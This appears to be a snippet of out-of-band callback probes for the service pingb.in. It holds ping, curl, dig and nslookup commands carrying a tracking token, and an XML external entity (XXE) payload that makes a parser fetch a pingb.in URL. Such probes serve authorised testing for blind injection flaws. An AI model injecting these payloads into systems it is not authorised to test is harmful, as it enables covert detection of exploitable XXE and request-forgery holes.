$ ping -c1 -p 004864607ae15a2485d471b84dbc6d00 pingb.in
 

$ curl pingb.in/p/4864607ae15a2485d471b84dbc6d
 

$ dig 4864607ae15a2485d471b84dbc6d @pingb.in
 

$ dig 4864607ae15a2485d471b84dbc6d.ns.pingb.in
 

C:\> nslookup 4864607ae15a2485d471b84dbc6d pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/4864607ae15a2485d471b84dbc6d">]>
    <foo>&xxe;</foo>